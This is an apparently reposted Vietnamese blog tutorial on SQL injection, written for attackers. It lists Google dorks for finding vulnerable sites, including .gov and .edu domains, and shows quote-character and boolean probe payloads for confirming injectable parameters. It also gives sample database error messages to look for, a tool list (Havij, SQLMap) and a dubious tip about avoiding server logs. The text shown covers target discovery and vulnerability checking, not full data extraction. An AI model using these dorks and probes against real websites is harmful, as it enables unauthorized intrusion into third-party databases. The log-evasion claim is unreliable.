I – Khái niệm
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp, Sql injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sỡ dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xãy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...


II- Các cách tấn công
1.       Tìm kiếm site lỗi (Google dorks – Tìm kiếm site lỗi)
2.       Check site
3.       Khai thác
3.1 - Khai thác bằng tay
a.       Sqli basic
b.      String based SQLi
c.       Time based SQLi
d.      Blind SQLi
e.      Error based SQLi
f.        Double query SQLi
g.       POST SQLi
h.      WAF bypassing
3.2  – Khai thác bằng tool
a.       Havij

b.      SQLMap

III - LET'S START !
1.       Một số kiến thức cần biết
-   Dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.

-   Dấu thăng (#) và dấu (–): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.

-    Dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
-    Dấu -- - ở cuối querry: Tác dụng tránh server ghi log câu querry, IP ….

kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.
MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).
Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao!.

2.       Google dorks – Tìm kiếm site lỗi
Bạn có thể sử dụng Google để tìm các site bị lỗi SQL injection.


Ví dụ:   inurl:index.php?id= +.com









Với câu tìm kiếm này ta sẽ tìm kiếm tất cả các site .com và có link chứa "index.php?id"

Một số dork khác:

inurl: index.php?id= +.com
inurl: index.php?id= +.net
inurl: index.php?id= +.org
inurl: index.php?id= +.cc
inurl: index.php?id= +.ws
inurl: index.php?id= +.edu
inurl: index.php?id= +.gov

các bạn có thể xem thêm list dork ở đây:  http://pastebin.com/wUyRb0k8

Ngoài cách tìm kiếm theo tên miền .com hay .net .... các bạn cũng có thể kết hợp tìm kiếm theo từ khóa
Cấu trúc tìm kiếm:  inurl:index.php?id= intext:"từ-khóa" 

Ví dụ:  inurl:index.php?id= intext"cafe"

3.  Check site

Khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:
· -Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("),
phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có
khả năng khai thác được lỗi này - Sẽ trình bày rõ ở phần sau).

-Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.
Ví Dụ:
http://ww.site.com/index.php?id=1 (giả sử đây là site bị lỗi SQL injection)

           cú pháp                                                        trạng thái

http://ww.site.com/index.php?id=1'                        lỗi
--------
http://ww.site.com/index.php?id=1"                       lỗi
--------
http://ww.site.com/index.php?id=1'                        lỗi
--------
http://ww.site.com/index.php?id=1 and 1=0           lỗi
http://ww.site.com/index.php?id=1 and 1=1           không lỗi

share 1 số kinh nghiệm cho ae:

1. Nếu bạn check lỗi SQL Inj ở 1 website mà bạn không thấy lỗi hiện ra thì đừng nên bỏ qua chúng vì nó có thể bị admin làm cho ẩn đi.
2. Nếu không ra số đẹp khi Union thì hãy view Scoure nó lên và tìm, có thể nó ở trong đó.
3. Thay vì thêm ' vào sau id để kiểm tra thì các bạn có thể sử dụng kĩ thuật
sử dụng các phép toán: VD: and 1=1 hiện ra site , and 1=0 hiện ra site báo lỗi =>> Site đã bị dính sql inj
sử dụng các phép toán kiểu true fales: 
VD: 
2>3 ; 2<3
1--1
BETWEEN 1 AND 3
'b' BETWEEN 'a' AND 'c'
2 IN (0,1,2)
CASA WHEN 1>0 THEN 1 END
' uuu' = 'uuu'
ISNULL(NULL)
ISNULL(COT(0))
1 IS NOT NULL
NULL IS NULL

Nếu tham số (id) của trang hiện tại là 3, tham số trang sau là 2, nếu ta dùng 3-1 , kết quả trả về là nội dung của trang có id=2 thì 99% là site này dính lỗi

4.  Các dạng lỗi thường gặp

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in \\abcxyz\home\users\web\b2371\ipw.meditera\product.php on line 83

Database quero failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '4--'./vn/product/info.asp, line 5

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:Domainstartanarmy.comwwwrootnewsnews.php on line 19 PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:Domainstartanarmy.comwwwrootnewsnews.php on line 25

b. Lỗi JET :

delete from cart where biaoji=0 and cart_id=19074'
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'biaoji=0 and cart_id=19074''.
/www/sale/1/bd8sogift.com/cart.asp, line 110

Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'Id=14' order by PostDate desc'.
/news-s.asp, line 12  


SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%')' at line 1

Chú ý

- Cũng có khi thêm ' , kết quả trả về vẫn là trang đó thì nó cũng bị lỗi .
- Cũng có khi ta thêm ' , kết quả trả về của site bình thường , ko có thông báo gì hết thì site đó cũng bị lỗi.


Nguồn:  Sưu tầm và tổng hợp trên internet





Đăng nhận xét Blogger

 
Top